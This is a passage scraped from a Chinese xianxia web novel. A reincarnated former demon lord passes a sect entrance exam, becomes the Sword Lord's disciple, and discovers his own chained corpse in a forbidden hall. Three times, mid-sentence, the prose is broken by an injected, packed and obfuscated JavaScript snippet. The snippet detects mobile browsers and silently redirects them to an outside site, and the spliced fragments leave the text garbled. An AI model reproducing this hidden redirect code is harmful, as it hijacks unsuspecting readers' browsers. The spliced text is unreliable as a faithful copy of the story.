不过,若是真的拜进玄天宗,的确也比他在外面做散修要安全一些,背靠大树好乘凉。 韩昇那般金丹大圆满的散修都被人欺负得险些没命,他这样的,一出去就要被啃得骨头渣子都不剩。 一时间,云诏有几分动摇。 毕竟,赫寒声又不管他,只要他谨慎一些,有谁能知道,小傻子贺鑫鑫的壳子里,住着邪恶的云诏大魔头? 赫寒声注意着云诏的神色,点到即止,他返回窗边,重新坐下。 云诏静下心,他有过目不忘的本事,再加上上一世的东西还没忘干净,这些东西,在他如今看来,简单得很。 赫寒声果然信守承诺,一直到云诏用完晚膳,守云送他回闻声居,赫寒声都没再提考核他的事情。 只是在他迈出书房之前,赫寒声不轻不重地提醒他一句:“明日寅时三刻,本座静候。” 云诏双眼无神地躺到自己的小床上,眼前浮现的还是密密麻麻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595855|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍蝇小字。 老老实实地背了一天的书,他只觉得自己浑身骨头都要散架了,一想到明日寅时就又要起床,云诏只想当场昏迷。 迷迷糊糊之间,云诏忽然想起戴孤星匆忙间对自己的那一瞥。 困意瞬间褪去。 戴孤星此人,在他们年少同窗时,他整日就神神叨叨的,没什么朋友,说话也不中听,但云诏偏就觉得这人十分有趣,偶尔就喜欢逗弄逗弄他,偷摘几个他药园里种的灵果。 修真界众弟子最喜欺软怕硬,但玄天宗从上到下,无一人敢对这个臭脾气丹修不客气——只因戴孤星有着超出寻常的准确直觉。 修行之途,谁没有个犹豫不决,拿不准主意的时候,每当这种时候,戴孤星给他们的建议,往往都是正确的选择。 起初有人不信,但当与戴孤星下赌注,而结果每一次都是戴孤星赢时,众人也就相信了戴孤星这个人,有点说法。 明天还是早些起床,先去雁回峰一趟吧。 ——一想到自己能睡的时间已不足三个时辰,云诏在绝望之中渐渐入睡。 - 雁回峰。 有些起得早的小弟子已经开始忙碌,浇灌药园,喂养灵禽,云诏避开小弟子们的视线,借着高大的玄杉树遮掩自己身影,悄悄摸进药园。 云诏随手摘了一个又红又大,卖相最佳的灵果,啃了一口,果肉脆嫩酸甜,清新果香在口腔蔓延,伴随着一股浅浅的灵力萦绕全身,云诏心满意足。 这么多年了,还得是雁回峰的灵果。 在药园中央,有一间简陋的小药庐,那时候,戴孤星和他的师尊一起住在小药庐里,打理药园,如今时过境迁,雁回峰老峰主四海云游,戴孤星成了新的雁回峰峰主,他还是住在这里,打理药园。 云诏安静地等。 在他记忆里,戴孤星这人一向只知道闷头修炼,不是在炼丹,就是在打理药园,鲜少有像今日这般,已经快要到寅时了,还不见人影的时候…… 眼见着离寅时三刻越来越近,却还是不见戴孤星人影,云诏挑眉。 若是戴孤星早有预料,知道自己一大早就会过来蹲他,戴孤星如果不想掺和,确实不会轻易露面。 “贺鑫鑫!” 云诏猛地回头,只见一颗灵果向自己飞来,云诏伸手接住,灵果上附着一个传音符: “我知道你想问我什么,但我什么也不知道,回去吧,剑尊要等急了。” 能在这种时候给他传讯的,除了戴孤星,绝对不可能有第二个人。 ——戴孤星知道自己回来了,但他这么说,代表着他决定对自己的身份装聋作哑。 云诏心中轻松一些,啃了一口灵果,一瞬间酸得他龇牙咧嘴。 一看就是戴孤星这个臭小子精挑细选过的。 被戴孤星提醒,云诏忽然想起掐算时间,这才发现寅时三刻已过,顿时心觉不妙,匆忙就往寒英峰赶,但为时已晚—— 还没走几步,云诏手中尚未啃完的灵果骨碌碌滚远了…… 云诏心中一寒,眼前凭空像是拉下一块蓝黑色水幕,四个血红色大字宛如血水在宁静水面渐渐洇开,此四个大字龙飞凤舞,毫无章法,撇与捺都拉得极长,像是这人在低沉耳语: ——“爱、徒、何、在”? 13. 入门大典(六) 作为归墟境大能,万里追灵轻而易举,但把万里追灵用在他这么一个小小的外门弟子身上,用意实在令他有些费解。 从前赫寒声这个人对执行规则有一种病态的执念,通俗一点讲就是不近人情,上一世他没少在激怒赫寒声的边缘试探,幸好那时候赫寒声不和他计较,再加上他不知天高地厚地软磨硬泡,每次都让他侥幸糊弄过去。 这一回…… 云诏打了个寒颤,忽然就知道怕了,不敢多作耽搁,步履不停地赶向寒英峰。 可惜雁回峰距离寒英峰实在有些远,云诏身无灵力,无法御剑,雁回峰与寒英峰又无直连虹桥,云诏一路奔波,到达霜庭书房时,也已比约定的时间晚了将近半个时辰。 守云垂着头候在门外,缩得像一只小鹌鹑。 云诏心觉不妙,压低嗓音问他:“剑尊在里面?” 守云抬头,用一种敬佩并同情的目光看他:“敢放剑尊鸽子,你死定啦。” 说完,毫不留情地拉开门,将云诏推进去,在云诏身后探头,看热闹不嫌事大地喊:“剑尊,贺鑫鑫来了!” 云诏老老实实地行礼,不敢抬头:“剑尊,弟子知错。” 守云大气也不敢出,悄悄觑了一脸赫寒声的神色,偷偷递给云诏一瓶跌打损伤的药油,然后退出去,并贴心地关上了门。 今日赫寒声一反常态,竟穿了一件绛紫嵌金纹的袍子。玄铁护腕紧紧箍住小臂,勒出一道优美结实的线条,显然是精心搭配过,与他平日素色简净的装束大相径庭。 云诏拿不定主意,不敢抬头,心一横,继续道:“弟子顽劣,不堪大任,恐要辜负剑尊期望,弟子恳请剑尊责罚!” 话音落下,乍然,屋内灵力陡然激增,压得云诏几乎窒息,浓稠的灵力化为强大威压,迎面刺向云诏—— 罡风吹得云诏衣摆猎猎作响,发丝猛地被吹向脑后,云诏闭上双眼,露出一张平静、生死看淡的脸。 猛烈的威压在距云诏寸许之地刹停,力道轻得像一片落叶,拂落挂在云诏肩头的一截干枯小枝。 “去了何处?” 云诏却无劫后逢生的心有余悸,他还能咧开嘴角轻笑,迎着赫寒声冷硬的嗓音追上去回答:“弟子去了一趟雁回峰,但天黑路远,弟子未能及时赶回,弟子知错,但请剑尊责罚。” 刚才,他倒是由衷希望赫寒声杀了他。 赫寒声高大的身影自黑暗中缓缓走出,他掌心托着一枚青色的玉牌。 “入门考核的身份牌,收好。” 云诏瞳孔微缩,伸手去摸,发现自己原本放着玉令的口袋里已经空无一物了。 “本座在闻声居门口捡到的,若是丢了,无法补办,也无法参加考核。” 云诏终于抬头,看向赫寒声。 赫寒声静默地站在原处,纹丝不动,手心向上,静静等待着云诏接走这块玉令。 “多谢剑尊。” 云诏拿走玉令时,指尖不可避免地触碰到了赫寒声的掌心。 掌中托着的重物被拿走,那如飞鸿掠过的温凉细腻,令赫寒声慢动作似的蜷起手指,他收了手,声音下意识放轻了一些:“本座不会罚你,本座早已说过,只要通过入门考核,你想如何修炼,本座都不会束缚你,至于今日,念在你初犯,若有下次,守云给你的那瓶药油,定会派上用场。 “背书吧。” 云诏回到座位上,本想自如地用左手去拿笔,随即才想起一旁就有虎视眈眈的赫寒声,他这才有些生硬地拐了个弯,用左手抚平了纸上的褶皱,又伸出右手去握笔。 不远处的赫寒声将云诏所有的小动作都看在眼里,不可避免地想起了在百通城,那个咬破左手指尖,一气呵成画下诛魔阵,锐不可当的样子。 他曾经的那位小徒,是个小左撇子,天资聪颖,众人都以为是个剑道不可多得的天才,但只有他知晓,比起剑道来,小徒弟在符篆、阵法上的领悟,才是世无其二。 赫寒声握紧手中的玉简。 贺鑫鑫和他那个小徒弟,一模一样。 - 云诏老老实实地背了三天的书,晕头转向地考完笔试,他才反应过来,玄天宗的入门考核,其实很残酷。 每一次前来参加考核的弟子,能通过笔试考核进入心试的,不足总人数的十分之一,能通过心试的,更是少之又少。 这些没有通过考核的弟子们,想留下的,就拜入外门,边修习,边择机进入内门,不愿留下的,玄天宗也不会强求。 所幸云诏上一世的东西确实没有忘记,再加上被赫寒声盯着,临时抱了三天的佛脚,轻松地通过了笔试。 岳连歧本来坐在随心亭里时刻关注着考核的结果,忽觉身旁白光一闪,只见赫寒声翩然落座。 岳连歧惊道:“今天这是吹了什么风,吹来了我们的探微剑尊?” 赫寒声不想搭理自己啰嗦的师兄,只言简意赅地回了两个字:“收徒。” 岳连歧顿时瞪大了双眼。 “可有中意人选了?我刚才粗略扫了一下笔试那边的结果,有几个弟子资质不错啊,那个叫魏申竹的,观点新颖不落俗套,还有个叫祁英的,聪慧非常,胆识过人,还有个叫贺鑫鑫的最让我意外了,我记得他不是个先天缺魂之人吗?怎么笔试也考出了这么好的成绩……” 赫寒声起身,全将自己师兄的话当耳侧旁风,视线默默追向人群之中的云诏。 “我已有中意人选,不劳掌门师兄费心。” 云诏跟随着人群,前往心试考核场地。 这么多年了,玄天宗的入门考核方式还是没有变。 所谓的心试,就是将通过笔试考核的弟子们集中在明镜台上,在眀幻香的作用下,令弟子们进入幻境。 幻境会根据弟子识海内的灵力波动以及弟子的道心生成多种考验,只要能在规定时间内破除内心迷惘,从幻境中醒来的弟子,就会视为考核通过。 上一世怎么通过的心试云诏已经忘记了,那时他年幼,懵懵懂懂,只记得一只大手牵着自己,将自己送到明镜台,他好像只是睡了一觉,睡醒了,就看见一脸惊艳的岳连歧,以及默不作声,将自己从小蒲团上拎起来的赫寒声。 此时身旁有两个小弟子在说悄悄话。 “这一次探微剑尊怎么也在,是不是剑尊要开山收亲传弟子了?” “剑尊都多少年没有收过弟子了,不太可能,”接话的这人表面上虽说着这番话,但眼睛却一瞬间亮了,哪个前来考核的弟子,不想见一见探微剑尊的真容? 况且,如果有机会,谁不想拜入剑尊座下?小弟子的眼中,已渐渐染上几分痴狂。 “祁兄,你肯定没问题,你天赋这么高,一举夺魁,剑尊的亲传弟子之位,肯定非你莫属!” “别胡说!” 眀幻香已经点燃,清淡的香气短时间迅速蔓延到了整个明镜台。 云诏下意识地转头,看见了明镜台外随心亭上,长久伫立着的赫寒声。 云诏轻描淡写地收回视线,闭上双眼,沉入幻境。 璇玑大陆的修者坚守不同的道义,修不同的道。 修罗道、慈悲道、无情道、炼己道和自在道。 不同的弟子进来,眀幻香会生成不同的幻境,但云诏堕入幻境后,率先包围他的,是极致无边的黑暗。 云诏感受不到自己的身体,他更像是漂浮在外的一抹意识,眼前忽然浮现出一个光团,云诏心下一动,刹那,周遭场景突变—— 战鼓雷动,黄沙漫天,云诏环视四周,发现自己身处战场,不远处两军交战,拼死厮杀,云诏头脑从未有如此清醒过,这是修罗道的考验。 可怜无定河边骨,犹是春闺梦里人。 一截断手飞至他面前,云诏垂眸,抬腿,迈了过去。 周遭场景像破碎的琉璃,旋转变幻,再度出现在他面前的,是一场弥天的大火。 府中四百余人,逃不出去,皆在睡梦中尸骨无存,仅有一年幼稚子因起夜逃过一劫,无助的哀嚎声传入云诏的耳朵,云诏仅是看了那稚子一眼,并未出手干涉稚子的命运,迎着濛濛月色,继续远去。 断情绝爱,杀妻证道的大能; 心无旁骛,拒不受传承的弟子; 逍遥随心,逃脱束缚的世家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595856|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弟。 云诏看在眼里,但都如风一般略过。他出于对世间万物自然走向的尊重,不干涉,不插手,尊重万事万物最本源的命运。 他又重新回到了那一片黑暗之中。 遥远之中,他仿佛闻到了一种清淡的香气。 国破家亡、幼子失怙失恃、大能割舍情爱、古老传承断绝、有人潦草一生。 云诏选择做一个过客,不沾因果,他心中并无执念。 无欲无求的人,其实不太适合修道一途。 云诏从幻境中清醒,他面前静置的身份玉令,变成了浓黑色。 ——上品。 这代表云诏以最优秀的成绩通过了心试。 心试结果一共九等,玄色、紫色、赭色上品,赤色、绯色、橙色中品,蓝色、绿色、白色下品 岳连歧感叹道:“玄色上品,多少年没出过这么好的成绩了,我记得上一个取得玄色上品的,还是云诏那个孩子吧……” 赫寒声原本安静地坐在座位上,忽地,他似有所感,微微侧首,向明镜台的方向看去。 一眼就看见了神色稍有迷茫的云诏。 赫寒声站起身,岳连歧拦住他:“拜师大典还没开始,你干什么去?” 赫寒声:“我去接我的亲传。” 岳连歧原本的表情还有些不解,但一瞬间仿佛想通了关窍,顿时望向那个才取得了玄色上品的小弟子。 “那就是贺鑫鑫!?” 赫寒声的身影早已消失。 - 明镜台 此时陆续有弟子醒来,看到自己的考核结果之后均露出欣喜的神色。 祁英看了看自己变成紫色的身份玉令,顿时笑逐颜开,紫色上品,定是能拜入探微剑尊座下了。 但他眼角一花,瞬间就瞥到了身旁云诏玄色的玉令。 祁英的脸色一瞬间变得扭曲,玄色上品? 他有些无法接受这个事实。 待他视线向上望去,却看见了闻名玄天宗的一张脸——贺鑫鑫。 祁英顿时控制不住自己尖利的声音:“贺鑫鑫,你竟然通过了心试?” 云诏才醒来,脑袋里还不甚清醒,被祁英尖利的嗓音一次,只觉得识海深处嗡嗡地响。 “不然呢?” 祁英心底顿时被嫉妒和不甘充满,他不相信平日里一个痴呆迟钝,连话都说不全的傻子,怎么可能短短几日就一飞冲天,不但通过了笔试,还一举在心试中夺魁? 本来他才该是那个风光无两,能够成为探微剑尊座下亲传的不二人选,取得紫色上品的成绩,这么多年一共才有几个,怎么能让这个傻子就这么抢了自己的风头? 祁英眼底渐渐被阴郁盖住。 恰逢身边清风拂过,祁英远远看见翩然而来的赫寒声。 祁英眼底涌上一抹疯狂,他不顾纪律,离开自己的蒲团,朝着赫寒声直冲而去,跪下,不卑不亢道:“见过探微剑尊,弟子祁英,弟子要举报有无耻之人无视考核纪律,徇私舞弊,千方百计通过考核!” 赫寒声步伐顿住,居高临下地看向跪伏自己脚边的祁英,冷声道:“谁?” 祁英仰头,像是终于找到了话事人,可以道尽心中委屈,他眼中一热,哽咽道:“剑尊,弟子要举报贺鑫鑫,此人虽天生痴傻,但心术不正,他竟然在入门考核时作弊,心试时他根本就没有吸入眀幻香,以至他取得了玄色上品的成绩,此人不择手段,定是冲着您座下那唯一空置的亲传弟子之位来的,若是真叫他拜入玄天宗,简直就是奇耻大辱,还望剑尊彻查此事!” 祁英话语诚恳激昂,引得周遭那些已经清醒过来的弟子皆看向云诏。 周围顿时响起窃窃私语之声,或不善、或谴责、或轻蔑的目光,全如利剑一样刺向云诏。 敢在玄天宗的入门考核里做手脚,传出去,对于玄天宗来讲,也是个天大的丑闻。 赫寒声却并未如祁英料想那样,怒意上涌,雷霆手段惩治云诏,反倒轻轻重复他的话,语调轻缓,似在仔细咀嚼品味。 “不择手段?” 祁英心中一滞,顿觉不妙。 14. 昏月殿(一) 祁英的指控,这简直就是无妄之灾。 云诏看着周围那些千奇百怪的脸,又看向不远处的赫寒声。 对对对,最好立刻现在就取消我的成绩,让我永远不得重考。 在众人或期待,或紧张的注视之下,赫寒声终于有了动作。嗓音不疾不徐,音量不大,却无比威压,响彻整个明镜台, “玄天宗驻守二十四峰已有千余年,虽不成大器,但也忝列璇玑大陆第一宗,如今既有人质疑我宗考核是否公平公正——”赫寒声垂头望向祁英。 赫寒声的双眼虽被蒙覆,但无边的威严气势已令祁英呼吸困难。 赫寒声抬手轻挥,一面巨大的溯镜伴随他的灵力从玄天宗高空幻化而下,黑压压地罩住了整个明镜台。 “眀幻香被吸入体内后,会短暂地将神魂与溯镜联结到一起,由溯镜幻化出考核幻境,并考核成绩。” 其余的事情,不由赫寒声说明,众弟子也都明白了。 明镜台上的一百十二余名弟子,或清醒,或沉睡在幻境之中的,皆有眉心一团紫色灵气,凝结成一条灵线,末端接入溯镜。 已经有护卫弟子赶来维持秩序,不由分说地架走了还在愣怔的祁英。 “本座不解,为何你却未与溯镜相连?” 祁英被拖走,即将离开明镜台时,才反应过来,不甘心地尖叫:“弟子冤枉,一定有误会的,弟子怎么可能做出这种下作之事,剑尊,弟子冤枉!” 赫寒声抬手落下禁制,隔绝了祁英聒噪的哭喊。 周遭那些原本看不起云诏的弟子,此刻全都如缩头鹌鹑,不敢做任何多余的动作。 不远处岳连歧在随心亭上,看见了明镜台的这一幕,啧啧两声:“难得一见,真是难得一见啊。” 明镜台上,赫寒声亲自扶起了懵懂的云诏。 吸入眀幻香从幻境清醒之后,会有短暂的迟钝,头脑不清醒现象。 此刻的云诏,乖得过分。 赫寒声俯身,亲自将代表亲传弟子制式的墨色玉牌系在云诏腰间,但其上却未刻字。 他轻轻牵住云诏的手,温声道:“随为师走吧,吾徒。” 云诏暂时没觉出有哪里不对,任由赫寒声牵着,穿过一排排考核弟子,离开了明镜台。 徒留一众弟子待在原地,羡慕嫉妒得快要发疯。 岳连歧连声啧啧:“真是让探微收到了个好徒弟,你看看他那个宝贝的样子,生怕我们跟他抢似的。” 尘渊笑道:“贺鑫鑫在百通城表现不俗,之前恐怕都是在装疯卖傻骗我们,剑尊爱才心切,也不奇怪。” - 云诏反应过来时,他已经被温锦明和常双月一左一右护送着,去办理各项权限。 亲传弟子的权限比普通内门弟子要高很多,尤其是在去剑冢挑选本命剑时,也能比其他弟子走得远。 不过云诏此时才练气初期,许多权限他都用不上。 况且,他以一个练气初期的修为拜入了渡劫之下第一人探微剑尊的座下,这段时间还是低调一点为好。 常双月耐心地给云诏讲解:“寒英峰不大,但地势很陡,你自己注意一些不要乱跑就不会有大碍,还有峰顶那里,你记得千万不要过去,那是寒英峰的禁地,若是被剑尊发现你去了禁地,你的下场会很惨的。” 常双月看云诏一脸不在意的样子,头伸过去了一些,悄悄说道:“你知道为什么剑尊的小侍童只有守云一个吗,很久很久之前,其实一共是有两个小侍童的,另一个实在太调皮了,偏要闯进禁地里去看看,被剑尊发现了,直接扔进洗心阁,足足七七四十九天,好歹是活着出来了,但是被剑尊直接扔出山门,好好的一个人,就这么废了。” 越听常双月说,云诏越觉得好奇。 寒英峰峰顶竟然有了一片禁地? 他记得之前那里只是一片空地,当年他经常去那里练剑的。 奇怪,得找个机会过去看看什么情况。 常双月一看云诏的表情就知道云诏根本没听进去,他叹了一声,在心中暗暗为云诏默哀。 温锦明淡淡瞥一眼云诏:“禁地,无故不可进入。” 云诏:“好的:)” 常双月又啰啰嗦嗦了许多,最后递给云诏一本寒英峰弟子训。 薄薄的一本小册子,但足足有一千条之多。 云诏目瞪口呆:“什么时候有的?” 常双月言简意赅:“昨天剑尊连夜写的。” 云诏:“……” 好不容易回到闻声居,送走温锦明常双月两位大神,云诏心里默默合计着找个机会在寒英峰上转一转。 那个突然冒出来的禁地实在让他太好奇了。 大不了就再进一趟洗心阁。 他之前又不是没进去过。 所谓洗心阁,是一座寒霜玄冰满布的牢狱,进去之前,灵力和修为都会被封住,而进去的人,活生生的,不能入睡,不能入定,只能保持清醒,只要一旦失去清醒的意识,就会触发禁制,强逼人清醒过来,让人只能面对着无边黑暗与寒冷,一点一点苦熬。再好的人进去走一遭,都得疯着出来。 云诏有幸,领教过洗心阁的厉害。 那时,他不懂事,心底已经有了一点对赫寒声隐蔽的爱意,但他年纪还小,只把那理解成了对师尊的依赖…… “唉……往事不堪回首。”云诏将过往那些记忆化作一抹风轻云淡的感叹,摇摇头。 赫寒声就是遥遥云端的天神,铁面无私,坚守原则。如果不是这样,璇玑大陆也不会敬他一声探微剑尊。 - 霜庭。 今日心浮得很,难以入定。 赫寒声站在窗边,抬起右手,让这只手沐浴在阳光之下,他人站在暗处,细细描摹着这只手的每一个细节,感受着这只手的每一分温度。 这是一只骨节分明,线条优美的大手。 就在刚刚,这只手,牵了小徒弟的手。 小徒弟的手又小又软又细腻,温温凉凉的。 小徒弟很乖,也没有挣脱他。 常年隐在黑暗之中的皮肤有些苍白,被太阳照射得有些刺痛,赫寒声隐晦地想,若是能被阳光照射干净他这一身的污秽,那也好。 掌心忽然变得滚烫不已,赫寒声神色已然算不上清明,他目光再转,静谧祥和的常英峰竟刹那变幻成了寒风灌堂,鬼哭狼嚎的洗心阁。 赫寒声瞳孔骤缩。 小小的云诏面色惨白地被两个高大的弟子押着送入洗心阁,小云诏眼底挂着泪,不断哀求:“两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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室内的墙壁也没有用手指硬生生划出来的满墙血痕,云诏的指甲也没有个个外翻,云诏的脖颈动脉那里,也没有生生抠出来的伤疤。 赫寒声再难控制住自己,他将云诏抱起,嗓音沙哑:“还认得为师吗。” 怀中的人终于有了反应,他像是不敢置信般眨了眨眼,一刹那,眼泪如豆般滴落,嘴角颤抖着,勉强挂起一个笑:“师尊,你终于来啦。” 赫寒声不忍再看:“对不起,是为师的错。” 只要看见赫寒声,云诏就什么都不怕了,他又往赫寒声怀里钻了一些,仰头看着赫寒声的下颌角,亲昵地说:“师尊,弟子知错了,弟子是听见那两个外门弟子在说你的坏话,我忍不住才动手的,以后弟子一定改正,君子动口不动手嘛……” 赫寒声深深闭上眼。 别说了。 云诏越说,赫寒声便会愈发地知晓真相。 他现在救下的,只是在他改变梦境发展后神识遵循他的想象力幻化的造物。百余年前那个真正鲜活的云诏,无人去救。 赫寒声心境大动,原本真实的场景顿时变得扭曲破碎,周遭如流沙般消散,他再难隐忍,呕出一口泛金的精血。 等他再睁开眼时,怀中已空无一物,他又回到了霜庭。 赫寒声手指难耐地蜷起,他疯狂地探出灵力,似要将全身的修为全都灌注向闻声居,就在他汹涌的灵力倏然感知到了一股微弱的练气期灵力之时,庞大的灵潮这才渐渐退去,他剧烈的心跳才缓缓平息。 15. 昏月殿(二) 云诏在闻声居的小院里待得好好的,他还在熟悉身份腰牌的用法,忽然连打三个喷嚏,总是觉得有一双眼睛注视着自己。 云诏搓了搓自己的胳膊,盘算着今天晚上偷溜下山试试看。 待到子时,云诏感受到霜庭那边恐怖的灵力流转,这才悄悄地摸出来,但他第一次出发就惨遭滑铁卢,他正欲翻墙,却撞见坐在墙头的常双月。 常双月笑眯眯地:“小师兄,你要去哪里呀,寒英峰守则一千条第零一十六条,子时之后不允许无故下山哦。” 云诏:“……我睡不着,就是出来转转,现在我困了,我要回去了!” 常双月伸手,示意他请便。 云诏一计不成,又生一计,过了一个时辰,云诏收拾好自己的小行囊,堂堂正正从正门走。 正巧遇到守卫的温锦明。 云诏大大方方地朝温锦明打招呼。 温锦明毫不客气,伸手拦住他,语气不善:“去哪?” 云诏扬了扬自己的小包袱:“下山历练。” 温锦明一本正经道:“寒英峰守则第六百二十四条,筑基以下弟子严禁私自下山历练。” 云诏:“……打扰了” 两次都失败了,云诏躺在自己的小床上,无语望天。 心里恨恨地想,下次一定要干一票大的。 但他确实没想到,翌日清晨就来了机会。 一大早,赫寒声脸色不佳,仅同守云交代几句,便离开了寒英峰。 许是有什么重要的事情。 云诏一双黑眼珠滴溜溜地转,眼见着赫寒声身影已经消失,顿时觉得自己是一匹已经脱缰的马,能驰骋在草原上大口呼吸新鲜的空气。 宗门内这两日是拜师大典,他无需参加,云诏不是能安静闷在屋子里的性子,他绞尽脑汁地想打发时间的办法,终于,他成功地偷偷地爬上了寒英峰的峰顶。 曾经他再熟悉不过的小路,布满乱石,杂草丛生,如今已是被精心整理过,用各色光滑的小石子铺出了一条小路。 拨开茂密的绿叶,眼前豁然开朗,待凝神看清眼前所见,云诏瞳孔骤缩。 只见一座外观华美的高大宫殿赫然入眼,金为骨,玉为肉,阳光照耀之下,熠熠生辉。 云诏按住狂跳的心脏,凭空觉得心底毛毛的。 偌大华美的宫殿,仅有一扇二人宽的窄门,有窗,但都被封得死死的,阳光根本照不进去。 高悬的牌匾是三个龙飞凤舞的大字:昏月殿。 云诏认得出,那是赫寒声的字迹。 这里就是寒英峰的禁地? 窄门并没有关严,开着一条细小的缝,里面黑漆漆的,无法窥见内里。 云诏挑眉,掏掏掏,才掏出了他的身份玉令。 玄色的身份玉令在空中划过一道漂亮的抛物线,精准地从门缝滚了进去。 云诏的演技非常浮夸:“啊!我的玉令!” 云诏小跑着,将沉重的大门推开一条窄缝,堪堪挤了进去。 并无禁制阻拦他,他非常顺利地进到了大殿内。 殿内昏暗无比,云诏适应一会,捡起脚边的玉令,抬头才勉强能看清殿内的景象,那景象毫无征兆地撞入眼帘,像一只无形的大手,刹那拧住他的心脏,令他全身血液凝固。 云诏只觉骨骼深处传来一阵无法控制的战栗,从尾椎骨一路蹿上后脑勺,激起一层密密麻麻的寒粒。 云诏的嘴唇翕动了几下,发出无声的、破碎的气音。 像是他本能的求救。 云诏干呕了几下,才调整好自己的状态,嘴边挂着一抹自嘲似的笑。 自从他重生后,他也听到过也一二风声。 当年明镜之战后,云诏大魔头的尸骨不知所踪,据传是被律庭带走,施以重重封印,还有说法是被探微剑尊亲自带到寒英峰,日夜鞭挞折磨。 现在看来,后者的确是正确的。 ——屋内点燃着幽蓝色的长命烛,整个大殿之内,地面上是一个巨大无比的锁魂阵,而在锁魂阵中央,放置着一张寒玉床。 而寒玉床上,“云诏”的尸身,安静地躺在上面。 “云诏”皮肤柔软光滑,白皙之中甚至还带着几分粉嫩,气色上佳,长发未束,三千青丝如瀑,似海藻一般摊散开。 若不是胸膛处的狰狞伤口皮肉翻卷着,心脏被千念捅穿一个血洞,云诏几乎都要怀疑寒玉床上这个人只是睡着了。 锁魂阵仍在运转,散发出幽幽冷光。 云诏壮着胆子走上前,却发现,足有小臂粗的陨铁锁链,栓住他的四肢,结结实实地系在大殿正中央的定魂针上。 倘若这是个活人,手脚被这么拴着,活动空间也不会有多大。 更何况,这还是个死人。 赫寒声,你就这么恨我? 有陨铁锁链锁着,就算云诏诈尸,也成不了什么气候,他哪都去不了,除非赫寒声亲自给他解开,不然就只能砍断手脚。 云诏心乱如麻,他本想后退,离开这个是非之地,却撞到了寒玉床边的书桌——一个白玉的笔架摇摇晃晃,眼看着就要掉! 云诏冲过去,手忙脚乱地托住了笔架,并谨慎地遵循记忆,将它恢复原样,并小心翼翼地用仅有的灵力清理掉了殿内自己的气息。 回到闻声居后,云诏破天荒地没有到处乱转,而是回到了自己的小院里,只觉一阵后怕。 赫寒声此时不仅监禁着自己的尸骨,还企图拘着魂魄。 虽然不知道自己走了什么狗屎运没有被那么高深的一个锁魂阵锁定魂魄,但一旦哪里出了差错,锁魂阵锁定魂魄,定魂针就会立刻将魂魄与寒玉床上的尸身钉牢,那岂不是自己就完全落到了赫寒声手里,生生世世任他折磨了? 云诏打了个寒颤,愈发后悔自己头脑一热,没有经受住赫寒声的诱惑又来了寒英峰。 不过——锁魂阵未撤,这证明赫寒声并没有发现大魔头云诏已经魂兮归来的事实。而且,自己现在在贺鑫鑫的躯壳里,锁魂阵也不会搜查生人的神魂。 这就证明,自己暂时是安全的。 云诏心安了一些。 但绝不可长时间停留在玄天宗,赫寒声对歼灭魔修的执念恐怕要成心魔,魔界一日不消失,赫寒声就绝无放松警惕的可能,时间越长,自己暴露的风险越大。 云诏啃着手指甲沉思:还是得找个合适的时间,以死脱身,换个身份才行。 - 无量山,佛宗。 赫寒声双目紧闭,声声梵呗之中,他愈发难以平静,眉头紧拧,脸色奇差,即使有净罪大师为他护法,也难以化解心障,净罪大师勉强又坚持了一会,才轻叹一声,佛光溢散,净罪轻轻摇头:“剑尊,恕老衲无能,这将近一百四十年,您滋生心障,自伤神识,老衲已无 能为力了。” 赫寒声:“无妨,承蒙您肯施以援手,我已铭感于心。” 每个月,赫寒声都会来无量山一趟,请求净罪大师出手帮他压制心障。但心障难除,赫寒声又沉溺其中,这一次的压制过程,格外困难与费神。 若不是净罪大师及时唤醒,赫寒声恐怕就要完全失控,遭受到严重反噬。 赫寒声轻闭上眼,梦境中发生的事情仍历历在目。 洗心阁外,云诏被关进去的第五天,他曾在冰天雪地之中默立,犹豫是否要进去看看自己唯一的亲传弟子。 这次梦境,赫寒声径直提剑杀了洗心阁外犹豫不决的自己,冷冷扔下一句“懦夫”。 后世众人皆在传,云诏之所以堕魔,皆是因为这一次赫寒声将云诏关押进洗心阁,令师徒之间横生嫌隙,有了芥蒂。 但赫寒声清楚,不是这样的。 他现在只恨以自己归墟境的修为,竟也不能撕裂时空,回到那一年的停岚峰,真正杀了自己。 赫寒声心神激荡,闭目隐忍,竟又呕出一口精血。 净罪欲言又止,良久,他低叹出声:“剑尊,老衲无法救您了,擦干净您的血,回去吧。 “但容老衲多嘴一句,过往已逝,不如接受,何必这般折磨自己。” 赫寒声不答:“抱歉,此事还要请您替我保守秘密。” “此事,剑尊放心即可。” 送走赫寒声,净罪大师抬首望天,天空碧蓝如洗,宁静悠然。 小和尚蹦跳着跑来,探头往屋内打量:“赫寒声走啦?” 净罪垂眸:“不得无礼。” 小和尚吐了吐舌头:“剑尊走啦?” 净罪道了声佛号,并未回答。 小和尚:“师父您明知道救不了剑尊,为何还要出手帮他压制心障呢,他心魔大成只是时间的问题,况且我看他的修为都有倒退的趋势了,您为何还要救他呢。” 净罪摇头:“老衲并非是在救他。” ——而是在救自己,和整个修真界。 若是真叫探微剑尊入了魔,归墟境的魔修,那到底是什么东西? 没有人能够想象。 - 